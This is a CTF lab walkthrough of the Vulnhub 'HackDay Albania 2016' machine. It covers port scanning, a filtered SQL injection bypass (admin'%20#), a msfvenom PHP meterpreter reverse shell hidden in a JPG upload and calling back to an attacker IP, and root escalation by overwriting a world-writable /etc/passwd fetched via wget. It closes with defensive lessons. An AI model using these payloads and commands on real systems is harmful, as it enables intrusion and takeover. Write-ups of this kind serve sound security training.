
1. Target Identification

The pentester uses netdiscover to identify the target:

root@kali:~# netdiscover -r 192.168.0.0/24
Target: 192.168.0.48 (Cadmus Computer Systems)

Note: the victim IP address changes throughout this article due to Virtualbox/DHCP.

2. Network Application/Service Enumeration

The pentester uses a series of nmap scans to identify and enumerate network services.

root@kali:~# nmap -Pn -n -p 0-65535 192.168.0.48

PORT     STATE SERVICE
22/tcp   open  ssh
8008/tcp open  http

root@kali:~# nmap -A -p 22,8008 192.168.0.48

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
8008/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 26 disallowed entries (15 shown)
| /rkfpuzrahngvat/ /slgqvasbiohwbu/ /tmhrwbtcjpixcv/ 
| /vojtydvelrkzex/ /wpkuzewfmslafy/ /xqlvafxgntmbgz/ /yrmwbgyhouncha/ 
| /zsnxchzipvodib/ /atoydiajqwpejc/ /bupzejbkrxqfkd/ /cvqafkclsyrgle/ 
|_/unisxcudkqjydw/ /dwrbgldmtzshmf/ /exschmenuating/ /fytdinfovbujoh/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: HackDay Albania 2016

At this point, we know that the target is a Linux system running Ubuntu as the operating system, 
with two network applications: SSH, and an Apache web server. This instance of SSH does not 
appear vulnerable to exploits or password attacks, so the pentester focuses on the Apache web 
server.

Based on our nmap scan, we see right away that there are a number of disallowed pages found in 
robots.txt. The pentester begins more focused web enumeration to map out the attack surface in 
greater detail.

3. Apache Server Vulnerability Identification and Analysis

The pentester begins scanning the web server for vulnerabilities.

root@kali:~# nikto -h 192.168.0.48:8008

Nikto scans do not show any significant vulnerabilities; though they do report many webpages 
listed in the robots.txt file. The pentester then visits the web server in his browser to continue 
hunting for vulnerabilities.



The webserver appears to be in a different language; given the title of the CTF, the pentester 
assesses that its Albanian. Using Google translator, the pentester translates the web page:

Welcome
If I am, I know where to go ;)

A quick look at the source of the page contains another message:

Ok ok, but not here

The pentester arbitrarily visits some of the entries listed in robots.txt to understand the structure of 
the web server.



The pentester assesses that there is definitely something of interest to be found here; however, the 
volume of webpages found in robots.txt demands some automation. The pentester fires up OWASP-
ZAP to scan the webserver’s individual pages for vulnerabilities.

The results of the OWASP-ZAP spider show us an outlier: the page /unisxcudkqjydw/ is a different
size than the others (37 bytes vs 165), and the page contains a message: ‘IS there any /vulnbank/ in 
there??’

http://192.168.0.48:8008//unisxcudkqjydw/



Interesting! A simple entry of  http://192.168.0.48:8008/unisxcudkqjydw/vulnbank/ in a web 
browser yields another page. Let’s see how deep this rabbit hole goes!

Following the ‘client/’ directory takes us to this page:
http://192.168.0.48:8008//unisxcudkqjydw/vulnbank/client/login.php



4. SQL Injection

The pentester probes the login form with some basic username password combinations 
(admin:admin) with no success. Next, the pentester entered a simple quote ‘ to see if there may be 
SQL injection. The pentester receives a SQL error message, which strongly suggests there is a SQL 
injection vulnerability. The pentester will try to use this to perform authentication bypass.

The pentester tries a number of SQL injection attempts with no success. The pentester assesses that 
there may be some sort of filtering occuring which is rendering the SQL injection attacks useless. 
The pentester then devoted several hours to researching SQL evasion techniques. The pentester 
tried virtually all inputs from various SQL injection cheat sheets on the internet with no success. 
Eventually, the pentester started encoding SQLi attempts in various forms including URL, base64, 
etc. After much time, effort, and frustration, the pentester stumbled across a successful input:

admin’%20# (note that the %20 is URL encoding for a space)



This gave the pentester access to the web page.

The pentester began enumerating the web application. The pentester created a few test tickets to 
understand how the application processed uploads. The pentester received a notice stating “After 
we got hacked we our allowing only image files to upload such as jpg , jpeg , bmp etc...” 
Interesting!

When viewing submitted tickets, the pentester thought he spotted a local file inclusion vulnerability;
sadly, he was trolled…

http://192.168.0.48:8008/unisxcudkqjydw/vulnbank/client/view_ticket.php?
id=../../../../../../etc/passwd



5. Gaining Access

At this point, the pentester had a plain for gaining access to the target. Since the web application 
processed PHP code, the pentester assessed that he could inject reverse shell PHP code into an 
empty JPG. The pentester would upload the malicious JPG via the ticket system, view the ticket, 
and if successful, the PHP code would run giving the pentester a shell.

To put this plan into motion, the pentester first had to construct a payload.

The pentester first creates an empty JPG:

root@kali:~# echo ‘FFD8FFE0’ | xxd -r -p > evil.jpg

The pentester then generates a reverse PHP meterpreter shell, and inserts it into the JPG:

root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.6 LPORT=53 -o 
back_door.php

root@kali:~# cat back_door.php >> evil.jpg

The pentester then uses a multi/handler to catch the reverse shell:

root@kali:~# msfconsole
msf > use exploit/multi/handler 
msf exploit(handler) > set payload php/meterpreter_reverse_tcp 
msf exploit(handler) > set LHOST 192.168.0.6
msf exploit(handler) > set LPORT 53
msf exploit(handler) > exploit

Now the pentester uploads the JPG via the ticketing system.



The pentester then views the afflicted ticket in his web browser, which causes the PHP code to 
execute. The pentester finally receives a low privilege shell!

6. Escalating Privileges

The pentester begins performing reconnaissance to escalate privileges. However, the pentester first 
used python3 to spawn a TTY shell: 

python3 -c ‘;import pty; pty.spawn("/bin/sh")’;

After sufficient enumeration, the pentester notices that the /etc/passwd file is world writable, and 
that the user Taviso is a privileged user. Since /etc/passwd is world writable, the pentester assesses 
that he can overwrite Taviso’s entry with an encrypted password value, granting him privileged 
access as the Taviso user. To execute, the pentester performed the following:



On victim: cat /etc/passwd # Highlight text, copy and paste into text file on attack platform under 
the var/www/html/ directory.

On attack platform: Modify Taviso’s entry with a text editor. Replace the password placeholder ‘x’ 
with a password hash (the plaintext password is password in this case):

taviso:6$j5i90K1A$rW2bZKTyrQL33z14k.i5nIubUHl4ZNPUq1rpd87M5.WFutAixn2sUl.m.K
NfHTEL1A0uXhlQJF5tKmeR3Cv9g1:0:0:Taviso,,,:/home/taviso:/bin/bash

Now we need to copy the modified passwd file over to the victim:

On attack platform: service apache2 start
On victim: wget http://192.168.0.6/passwd
On victim: cp passwd /etc/passwd
On victim: su Taviso

After entering the password (password), we switch to Taviso, and at last, we have root privileges!

And now we have our flag. Good game Hackday! 



7. Conclusions

This was a challenging CTF that required attention to detail. The hardest parts were identifying the 
vulnerable “Very Secure Bank” application, and then the SQL injection that led to authentication 
bypass. After that, it was relatively trivial to fully compromise the system. Important take aways 
from this CTF are not to use robots.txt as a security feature – its not, and its often the first place 
attackers look when trying to identify sensitive information. Also, developers really need to sanitize 
user input. In this case, the Very Secure Bank application was in fact filtering; however, with some 
obfuscation, it was still vulnerable to SQL injection. And last, the /etc/passwd file should not be 
world writeable – we proved that it is relatively trivial to make changes that can result in privilege 
escalation.

Thanks to the folks at Vulnhub and R-73eN for providing the engaging challenge!


